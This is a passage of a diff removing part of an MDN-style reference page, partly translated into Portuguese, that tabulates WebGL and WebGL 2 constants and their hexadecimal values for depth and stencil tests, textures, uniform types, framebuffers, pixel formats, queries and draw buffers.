-<h3 id="Depth_or_stencil_tests">Depth or stencil tests</h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.depthFunc()")}} or {{domxref("WebGLRenderingContext.stencilFunc()")}}.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>NEVER</code></td>
- <td>0x0200</td>
- <td>Passed to <code>depthFunction</code> or <code>stencilFunction</code> to specify depth or stencil tests will never pass. i.e. Nothing will be drawn.</td>
- </tr>
- <tr>
- <td><code>ALWAYS</code></td>
- <td>0x0207</td>
- <td>Passed to <code>depthFunction</code> or <code>stencilFunction</code> to specify depth or stencil tests will always pass. i.e. Pixels will be drawn in the order they are drawn.</td>
- </tr>
- <tr>
- <td><code>LESS</code></td>
- <td>0x0201</td>
- <td>Passed to <code>depthFunction</code> or <code>stencilFunction</code> to specify depth or stencil tests will pass if the new depth value is less than the stored value.</td>
- </tr>
- <tr>
- <td><code>EQUAL</code></td>
- <td>0x0202</td>
- <td>Passed to <code>depthFunction</code> or <code>stencilFunction</code> to specify depth or stencil tests will pass if the new depth value is equals to the stored value.</td>
- </tr>
- <tr>
- <td><code>LEQUAL</code></td>
- <td>0x0203</td>
- <td>Passed to <code>depthFunction</code> or <code>stencilFunction</code> to specify depth or stencil tests will pass if the new depth value is less than or equal to the stored value.</td>
- </tr>
- <tr>
- <td><code>GREATER</code></td>
- <td>0x0204</td>
- <td>Passed to <code>depthFunction</code> or <code>stencilFunction</code> to specify depth or stencil tests will pass if the new depth value is greater than the stored value.</td>
- </tr>
- <tr>
- <td><code>GEQUAL</code></td>
- <td>0x0206</td>
- <td>Passed to <code>depthFunction</code> or <code>stencilFunction</code> to specify depth or stencil tests will pass if the new depth value is greater than or equal to the stored value.</td>
- </tr>
- <tr>
- <td><code>NOTEQUAL</code></td>
- <td>0x0205</td>
- <td>Passed to <code>depthFunction</code> or <code>stencilFunction</code> to specify depth or stencil tests will pass if the new depth value is not equal to the stored value.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Stencil_actions">Stencil actions</h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.stencilOp()")}}.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>KEEP</code></td>
- <td>0x1E00</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>REPLACE</code></td>
- <td>0x1E01</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>INCR</code></td>
- <td>0x1E02</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DECR</code></td>
- <td>0x1E03</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>INVERT</code></td>
- <td>0x150A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>INCR_WRAP</code></td>
- <td>0x8507</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DECR_WRAP</code></td>
- <td>0x8508</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Textures">Textures</h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.texParameteri()")}}, {{domxref("WebGLRenderingContext.texParameterf()")}}, {{domxref("WebGLRenderingContext.bindTexture()")}}, {{domxref("WebGLRenderingContext.texImage2D()")}}, and others.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>NEAREST</code></td>
- <td>0x2600</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>LINEAR</code></td>
- <td>0x2601</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>NEAREST_MIPMAP_NEAREST</code></td>
- <td>0x2700</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>LINEAR_MIPMAP_NEAREST</code></td>
- <td>0x2701</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>NEAREST_MIPMAP_LINEAR</code></td>
- <td>0x2702</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>LINEAR_MIPMAP_LINEAR</code></td>
- <td>0x2703</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_MAG_FILTER</code></td>
- <td>0x2800</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_MIN_FILTER</code></td>
- <td>0x2801</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_WRAP_S</code></td>
- <td>0x2802</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_WRAP_T</code></td>
- <td>0x2803</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_2D</code></td>
- <td>0x0DE1</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE</code></td>
- <td>0x1702</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_CUBE_MAP</code></td>
- <td>0x8513</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_BINDING_CUBE_MAP</code></td>
- <td>0x8514</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_CUBE_MAP_POSITIVE_X</code></td>
- <td>0x8515</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_CUBE_MAP_NEGATIVE_X</code></td>
- <td>0x8516</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_CUBE_MAP_POSITIVE_Y</code></td>
- <td>0x8517</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_CUBE_MAP_NEGATIVE_Y</code></td>
- <td>0x8518</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_CUBE_MAP_POSITIVE_Z</code></td>
- <td>0x8519</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_CUBE_MAP_NEGATIVE_Z</code></td>
- <td>0x851A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_CUBE_MAP_TEXTURE_SIZE</code></td>
- <td>0x851C</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE0 - 31</code></td>
- <td>0x84C0 - 0x84DF</td>
- <td>A texture unit.</td>
- </tr>
- <tr>
- <td><code>ACTIVE_TEXTURE</code></td>
- <td>0x84E0</td>
- <td>The current active texture unit.</td>
- </tr>
- <tr>
- <td><code>REPEAT</code></td>
- <td>0x2901</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>CLAMP_TO_EDGE</code></td>
- <td>0x812F</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MIRRORED_REPEAT</code></td>
- <td>0x8370</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Uniform_types">Uniform types</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>FLOAT_VEC2</code></td>
- <td>0x8B50</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FLOAT_VEC3</code></td>
- <td>0x8B51</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FLOAT_VEC4</code></td>
- <td>0x8B52</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>INT_VEC2</code></td>
- <td>0x8B53</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>INT_VEC3</code></td>
- <td>0x8B54</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>INT_VEC4</code></td>
- <td>0x8B55</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>BOOL</code></td>
- <td>0x8B56</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>BOOL_VEC2</code></td>
- <td>0x8B57</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>BOOL_VEC3</code></td>
- <td>0x8B58</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>BOOL_VEC4</code></td>
- <td>0x8B59</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FLOAT_MAT2</code></td>
- <td>0x8B5A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FLOAT_MAT3</code></td>
- <td>0x8B5B</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FLOAT_MAT4</code></td>
- <td>0x8B5C</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SAMPLER_2D</code></td>
- <td>0x8B5E</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SAMPLER_CUBE</code></td>
- <td>0x8B60</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Shader_precision-specified_types">Shader precision-specified types</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>LOW_FLOAT</code></td>
- <td>0x8DF0</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MEDIUM_FLOAT</code></td>
- <td>0x8DF1</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>HIGH_FLOAT</code></td>
- <td>0x8DF2</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>LOW_INT</code></td>
- <td>0x8DF3</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MEDIUM_INT</code></td>
- <td>0x8DF4</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>HIGH_INT</code></td>
- <td>0x8DF5</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Framebuffers_and_renderbuffers">Framebuffers and renderbuffers</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>FRAMEBUFFER</code></td>
- <td>0x8D40</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RENDERBUFFER</code></td>
- <td>0x8D41</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGBA4</code></td>
- <td>0x8056</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB5_A1</code></td>
- <td>0x8057</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB565</code></td>
- <td>0x8D62</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DEPTH_COMPONENT16</code></td>
- <td>0x81A5</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STENCIL_INDEX</code></td>
- <td>0x1901</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STENCIL_INDEX8</code></td>
- <td>0x8D48</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DEPTH_STENCIL</code></td>
- <td>0x84F9</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RENDERBUFFER_WIDTH</code></td>
- <td>0x8D42</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RENDERBUFFER_HEIGHT</code></td>
- <td>0x8D43</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RENDERBUFFER_INTERNAL_FORMAT</code></td>
- <td>0x8D44</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RENDERBUFFER_RED_SIZE</code></td>
- <td>0x8D50</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RENDERBUFFER_GREEN_SIZE</code></td>
- <td>0x8D51</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RENDERBUFFER_BLUE_SIZE</code></td>
- <td>0x8D52</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RENDERBUFFER_ALPHA_SIZE</code></td>
- <td>0x8D53</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RENDERBUFFER_DEPTH_SIZE</code></td>
- <td>0x8D54</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RENDERBUFFER_STENCIL_SIZE</code></td>
- <td>0x8D55</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE</code></td>
- <td>0x8CD0</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_ATTACHMENT_OBJECT_NAME</code></td>
- <td>0x8CD1</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL</code></td>
- <td>0x8CD2</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE</code></td>
- <td>0x8CD3</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COLOR_ATTACHMENT0</code></td>
- <td>0x8CE0</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DEPTH_ATTACHMENT</code></td>
- <td>0x8D00</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>STENCIL_ATTACHMENT</code></td>
- <td>0x8D20</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DEPTH_STENCIL_ATTACHMENT</code></td>
- <td>0x821A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>NONE</code></td>
- <td>0</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_COMPLETE</code></td>
- <td>0x8CD5</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_INCOMPLETE_ATTACHMENT</code></td>
- <td>0x8CD6</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT</code></td>
- <td>0x8CD7</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_INCOMPLETE_DIMENSIONS</code></td>
- <td>0x8CD9</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_UNSUPPORTED</code></td>
- <td>0x8CDD</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAMEBUFFER_BINDING</code></td>
- <td>0x8CA6</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RENDERBUFFER_BINDING</code></td>
- <td>0x8CA7</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_RENDERBUFFER_SIZE</code></td>
- <td>0x84E8</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>INVALID_FRAMEBUFFER_OPERATION</code></td>
- <td>0x0506</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Pixel_storage_modes">Pixel storage modes</h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.pixelStorei()")}}.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>UNPACK_FLIP_Y_WEBGL</code></td>
- <td>0x9240</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNPACK_PREMULTIPLY_ALPHA_WEBGL</code></td>
- <td>0x9241</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNPACK_COLORSPACE_CONVERSION_WEBGL</code></td>
- <td>0x9243</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Constantes_adicionais_definidas_em_WebGL_2">Constantes adicionais definidas em WebGL 2</h2>
-
-<p>These constants are defined on the {{domxref("WebGL2RenderingContext")}} interface. All WebGL 1 constants are also available in a WebGL 2 context.</p>
-
-<h3 id="Obter_a_informação_do_parâmetro_GL">Obter a informação do parâmetro GL</h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.getParameter()")}} to specify what information to return.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>READ_BUFFER</code></td>
- <td>0x0C02</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNPACK_ROW_LENGTH</code></td>
- <td>0x0CF2</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNPACK_SKIP_ROWS</code></td>
- <td>0x0CF3</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNPACK_SKIP_PIXELS</code></td>
- <td>0x0CF4</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>PACK_ROW_LENGTH</code></td>
- <td>0x0D02</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>PACK_SKIP_ROWS</code></td>
- <td>0x0D03</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>PACK_SKIP_PIXELS</code></td>
- <td>0x0D04</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_BINDING_3D</code></td>
- <td>0x806A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNPACK_SKIP_IMAGES</code></td>
- <td>0x806D</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNPACK_IMAGE_HEIGHT</code></td>
- <td>0x806E</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_3D_TEXTURE_SIZE</code></td>
- <td>0x8073</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_ELEMENTS_VERTICES</code></td>
- <td>0x80E8</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_ELEMENTS_INDICES</code></td>
- <td>0x80E9</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_TEXTURE_LOD_BIAS</code></td>
- <td>0x84FD</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_FRAGMENT_UNIFORM_COMPONENTS</code></td>
- <td>0x8B49</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_VERTEX_UNIFORM_COMPONENTS</code></td>
- <td>0x8B4A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_ARRAY_TEXTURE_LAYERS</code></td>
- <td>0x88FF</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MIN_PROGRAM_TEXEL_OFFSET</code></td>
- <td>0x8904</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_PROGRAM_TEXEL_OFFSET</code></td>
- <td>0x8905</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_VARYING_COMPONENTS</code></td>
- <td>0x8B4B</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FRAGMENT_SHADER_DERIVATIVE_HINT</code></td>
- <td>0x8B8B</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RASTERIZER_DISCARD</code></td>
- <td>0x8C89</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>VERTEX_ARRAY_BINDING</code></td>
- <td>0x85B5</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_VERTEX_OUTPUT_COMPONENTS</code></td>
- <td>0x9122</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_FRAGMENT_INPUT_COMPONENTS</code></td>
- <td>0x9125</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_SERVER_WAIT_TIMEOUT</code></td>
- <td>0x9111</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>MAX_ELEMENT_INDEX</code></td>
- <td>0x8D6B</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Texturas">Texturas</h3>
-
-<p>Constants passed to {{domxref("WebGLRenderingContext.texParameteri()")}}, {{domxref("WebGLRenderingContext.texParameterf()")}}, {{domxref("WebGLRenderingContext.bindTexture()")}}, {{domxref("WebGLRenderingContext.texImage2D()")}}, and others.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>RED</code></td>
- <td>0x1903</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB8</code></td>
- <td>0x8051</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGBA8</code></td>
- <td>0x8058</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB10_A2</code></td>
- <td>0x8059</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_3D</code></td>
- <td>0x806F</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_WRAP_R</code></td>
- <td>0x8072</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_MIN_LOD</code></td>
- <td>0x813A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_MAX_LOD</code></td>
- <td>0x813B</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_BASE_LEVEL</code></td>
- <td>0x813C</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_MAX_LEVEL</code></td>
- <td>0x813D</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_COMPARE_MODE</code></td>
- <td>0x884C</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_COMPARE_FUNC</code></td>
- <td>0x884D</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SRGB</code></td>
- <td>0x8C40</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SRGB8</code></td>
- <td>0x8C41</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>SRGB8_ALPHA8</code></td>
- <td>0x8C43</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>COMPARE_REF_TO_TEXTURE</code></td>
- <td>0x884E</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGBA32F</code></td>
- <td>0x8814</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB32F</code></td>
- <td>0x8815</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGBA16F</code></td>
- <td>0x881A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB16F</code></td>
- <td>0x881B</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_2D_ARRAY</code></td>
- <td>0x8C1A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_BINDING_2D_ARRAY</code></td>
- <td>0x8C1D</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>R11F_G11F_B10F</code></td>
- <td>0x8C3A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB9_E5</code></td>
- <td>0x8C3D</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGBA32UI</code></td>
- <td>0x8D70</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB32UI</code></td>
- <td>0x8D71</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGBA16UI</code></td>
- <td>0x8D76</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB16UI</code></td>
- <td>0x8D77</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGBA8UI</code></td>
- <td>0x8D7C</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB8UI</code></td>
- <td>0x8D7D</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGBA32I</code></td>
- <td>0x8D82</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB32I</code></td>
- <td>0x8D83</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGBA16I</code></td>
- <td>0x8D88</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB16I</code></td>
- <td>0x8D89</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGBA8I</code></td>
- <td>0x8D8E</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB8I</code></td>
- <td>0x8D8F</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RED_INTEGER</code></td>
- <td>0x8D94</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB_INTEGER</code></td>
- <td>0x8D98</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGBA_INTEGER</code></td>
- <td>0x8D99</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>R8</code></td>
- <td>0x8229</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RG8</code></td>
- <td>0x822B</td>
- <td> </td>
- </tr>
- <tr>
- <td>R16F</td>
- <td>0x822D</td>
- <td> </td>
- </tr>
- <tr>
- <td>R32F</td>
- <td>0x822E</td>
- <td> </td>
- </tr>
- <tr>
- <td>RG16F</td>
- <td>0x822F</td>
- <td> </td>
- </tr>
- <tr>
- <td>RG32F</td>
- <td>0x8230</td>
- <td> </td>
- </tr>
- <tr>
- <td>R8I</td>
- <td>0x8231</td>
- <td> </td>
- </tr>
- <tr>
- <td>R8UI</td>
- <td>0x8232</td>
- <td> </td>
- </tr>
- <tr>
- <td>R16I</td>
- <td>0x8233</td>
- <td> </td>
- </tr>
- <tr>
- <td>R16UI</td>
- <td>0x8234</td>
- <td> </td>
- </tr>
- <tr>
- <td>R32I</td>
- <td>0x8235</td>
- <td> </td>
- </tr>
- <tr>
- <td>R32UI</td>
- <td>0x8236</td>
- <td> </td>
- </tr>
- <tr>
- <td>RG8I</td>
- <td>0x8237</td>
- <td> </td>
- </tr>
- <tr>
- <td>RG8UI</td>
- <td>0x8238</td>
- <td> </td>
- </tr>
- <tr>
- <td>RG16I</td>
- <td>0x8239</td>
- <td> </td>
- </tr>
- <tr>
- <td>RG16UI</td>
- <td>0x823A</td>
- <td> </td>
- </tr>
- <tr>
- <td>RG32I</td>
- <td>0x823B</td>
- <td> </td>
- </tr>
- <tr>
- <td>RG32UI</td>
- <td>0x823C</td>
- <td> </td>
- </tr>
- <tr>
- <td>R8_SNORM</td>
- <td>0x8F94</td>
- <td> </td>
- </tr>
- <tr>
- <td>RG8_SNORM</td>
- <td>0x8F95</td>
- <td> </td>
- </tr>
- <tr>
- <td>RGB8_SNORM</td>
- <td>0x8F96</td>
- <td> </td>
- </tr>
- <tr>
- <td>RGBA8_SNORM</td>
- <td>0x8F97</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RGB10_A2UI</code></td>
- <td>0x906F</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_IMMUTABLE_FORMAT </code></td>
- <td>0x912F</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>TEXTURE_IMMUTABLE_LEVELS</code></td>
- <td>0x82DF</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Tipos_de_píxel">Tipos de píxel</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>UNSIGNED_INT_2_10_10_10_REV</code></td>
- <td>0x8368</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_INT_10F_11F_11F_REV</code></td>
- <td>0x8C3B</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>UNSIGNED_INT_5_9_9_9_REV</code></td>
- <td>0x8C3E</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>FLOAT_32_UNSIGNED_INT_24_8_REV</code></td>
- <td>0x8DAD</td>
- <td> </td>
- </tr>
- <tr>
- <td>UNSIGNED_INT_24_8</td>
- <td>0x84FA</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>HALF_FLOAT</code></td>
- <td>0x140B</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RG</code></td>
- <td>0x8227</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>RG_INTEGER</code></td>
- <td>0x8228</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>INT_2_10_10_10_REV</code></td>
- <td>0x8D9F</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Consultas">Consultas</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>CURRENT_QUERY</code></td>
- <td>0x8865</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>QUERY_RESULT </code></td>
- <td>0x8866</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>QUERY_RESULT_AVAILABLE</code></td>
- <td>0x8867</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>ANY_SAMPLES_PASSED</code></td>
- <td>0x8C2F</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>ANY_SAMPLES_PASSED_CONSERVATIVE</code></td>
- <td>0x8D6A</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Draw_buffers">Draw buffers</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Constant name</th>
- <th scope="col">Value</th>
- <th scope="col">Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>MAX_DRAW_BUFFERS</code></td>
- <td>0x8824</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER0</code></td>
- <td>0x8825</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER1</code></td>
- <td>0x8826</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER2</code></td>
- <td>0x8827</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER3</code></td>
- <td>0x8828</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER4</code></td>
- <td>0x8829</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER5</code></td>
- <td>0x882A</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER6</code></td>
- <td>0x882B</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER7</code></td>
- <td>0x882C</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER8</code></td>
- <td>0x882D</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER9</code></td>
- <td>0x882E</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>DRAW_BUFFER10</code></td>
- <td>0x882F</td>
